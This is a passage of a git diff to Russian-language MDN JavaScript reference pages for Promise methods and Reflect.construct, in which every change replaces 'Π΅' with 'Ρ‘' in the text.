ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρƒ Π½Π΅ΡƒΠ΄Π°Ρ‡ΠΈ, Ρ‡Π°Ρ‰Π΅ всСго ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки.</p>
<pre class="brush: js">const myFirstPromise = new Promise((resolve, reject) =&gt; {
// выполняСтся асинхронная опСрация, которая Π² ΠΈΡ‚ΠΎΠ³Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚:
diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
index 79b3fba0b0..da184495a3 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/race/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄<strong> Promise.race(iterable)</strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ΅ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½ΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, с ΠΊΠ°ΠΊΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ отклонСния этого обСщания.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄<strong> Promise.race(iterable)</strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ΅ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½ΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, с ΠΊΠ°ΠΊΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ отклонСния этого обСщания.</p>
<p>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</p>
@@ -27,11 +27,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½Ρ‹ΠΉ {{jsxref("Promise")}} Π² зависимости ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ.</p>
+<p>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½Ρ‹ΠΉ {{jsxref("Promise")}} Π² зависимости ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ.</p>
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>race</code>Β Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ </code>(<code>Promise</code>) с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ, ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ. Π’.Π΅. Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ resolve ΠΈΠ»ΠΈ reject, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ случится ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>race</code>Β Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ </code>(<code>Promise</code>) с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ, ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ. Π’.Π΅. Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ resolve ΠΈΠ»ΠΈ reject, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ случится ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
index 9bb06a2115..ebaed59a5f 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Promise.reject(reason)</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Promise,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Β ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Promise.reject(reason)</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Promise,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Β ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅</code>.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -19,13 +19,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
<dt>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
- <p>ΠžΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½Ρ‹ΠΉ с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉΒ {{jsxref("Promise")}}.</p>
+ <p>ΠžΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½Ρ‹ΠΉ с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉΒ {{jsxref("Promise")}}.</p>
</dt>
</dl>
<h2 id="ОписаниС">ОписаниС</h2>
-<p><code>Promise.reject</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>Promise</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π»Β ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½. Π’ цСлях ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ ΠΈ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΎΠ²Π° ошибок, ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{jsxref("Error")}}.</p>
+<p><code>Promise.reject</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>Promise</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π»Β ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½. Π’ цСлях ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ ΠΈ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΎΠ²Π° ошибок, ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{jsxref("Error")}}.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
index 1b5cff1c3e..f61fad91ec 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Promise.resolve(value)</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}} Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ. Если ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся thenable - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β (Ρ‚.Π΅. ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{jsxref("Promise.then", "\"then\" method")}}), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ thenable - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, принимая своС состояниС; Π² ΠΈΠ½ΠΎΠΌ случаС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Promise.resolve(value)</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}} Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ. Если ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся thenable - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β (Ρ‚.Π΅. ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{jsxref("Promise.then", "\"then\" method")}}), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ thenable - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, принимая своё состояниС; Π² ΠΈΠ½ΠΎΠΌ случаС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
index 211b7692dd..a380cb5b5c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
@@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>then()</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}. ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°: колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для случаСв выполнСния ΠΈ отклонСния промиса.</p>
<div class="note">
-<p> Если ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ ΠΎΠ±Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΡ… значСния нС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎΒ <code>then</code> пропустит ΠΈΡ… ΠΈΒ Π½Π΅ Π²Ρ‹Π±Ρ€ΠΎΡΠΈΡ‚Β ΠΎΡˆΠΈΠ±ΠΊΡƒ. Если для <code>Promise</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² состояниС <code>Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½</code>Β ΠΈΠ»ΠΈ <code>ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½</code>Β Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code>, ΠΈ Ρƒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β Π½Π΅Ρ‚Β Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ρ‚ΠΎ Π² Ρ‚Π°ΠΊΠΎΠΌ случаС <code>then</code> просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис с состояниСм Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ <code>Promise</code>, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ <code>then</code>Β Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½.</p>
+<p> Если ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ ΠΎΠ±Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΡ… значСния нС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎΒ <code>then</code> пропустит ΠΈΡ… ΠΈΒ Π½Π΅ Π²Ρ‹Π±Ρ€ΠΎΡΠΈΡ‚Β ΠΎΡˆΠΈΠ±ΠΊΡƒ. Если для <code>Promise</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² состояниС <code>Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½</code>Β ΠΈΠ»ΠΈ <code>ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½</code>Β Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code>, ΠΈ Ρƒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β Π½Π΅Ρ‚Β Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ρ‚ΠΎ Π² Ρ‚Π°ΠΊΠΎΠΌ случаС <code>then</code> просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис с состояниСм Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ <code>Promise</code>, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ <code>then</code>Β Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½.</p>
</div>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -32,7 +32,7 @@ p.then(value =&gt; {
<dt><code>onFulfilled</code>Β {{optional_inline}}</dt>
<dd>{{jsxref("Function")}} вызываСтся, ΠΊΠΎΠ³Π΄Π°Β <code>Promise</code>Β Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½. Π­Ρ‚Π° функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ промис Π±Ρ‹Π» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½. Если значСниС onFulfilled Π½Π΅ функция, Ρ‚ΠΎΒ ΠΎΠ½ΠΎ автоматичСски замСняСтся Π½Π° "Identity" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚)</dd>
<dt><code>onRejected</code>Β {{optional_inline}}</dt>
- <dd>{{jsxref("Function")}} вызываСтся, ΠΊΠΎΠ³Π΄Π°Β <code>Promise</code>Β  ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½. Π­Ρ‚Π° функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ промис Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ onRejectedΒ Π½Π΅ функция, Ρ‚ΠΎΒ ΠΎΠ½ΠΎ автоматичСски замСняСтся Π½Π° "Thrower" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (выбрасываСт ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠ°ΠΊ ΠΎΡˆΠΈΠ±ΠΊΡƒ)</dd>
+ <dd>{{jsxref("Function")}} вызываСтся, ΠΊΠΎΠ³Π΄Π°Β <code>Promise</code>Β  ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½. Π­Ρ‚Π° функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ промис Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ onRejectedΒ Π½Π΅ функция, Ρ‚ΠΎΒ ΠΎΠ½ΠΎ автоматичСски замСняСтся Π½Π° "Thrower" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (выбрасываСт ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠ°ΠΊ ΠΎΡˆΠΈΠ±ΠΊΡƒ)</dd>
</dl>
<h2 id="ОписаниС">ОписаниС</h2>
@@ -58,7 +58,7 @@ p1.then(function(value) {
<h3 id="Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅">Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅</h3>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>Promise</code> (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β <code>then</code>Β Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ. ЗначСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ·Β onFulfilled ΠΈΠ»ΠΈΒ onRejected колбэков Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ Π² ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅.</p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>Promise</code> (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β <code>then</code>Β Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ. ЗначСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ·Β onFulfilled ΠΈΠ»ΠΈΒ onRejected колбэков Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ Π² ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅.</p>
<pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) {
resolve(1);
@@ -88,7 +88,7 @@ p2.then(function(value) {
var j = response.json();
// ΠΌΠΎΠΆΠ΅ΠΌ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ с j
return j; // Π² случаС выполнСния обСщания, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅
- // пСрСдаСтся Π² fetch_current_data().then()
+ // пСрСдаётся Π² fetch_current_data().then()
});
}
</pre>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
index e5eaa5af39..e1c5fcbdbc 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
---
<div>{{JSRef}}</div>
-<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалСнтСн <code>new target(...args)</code>. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ 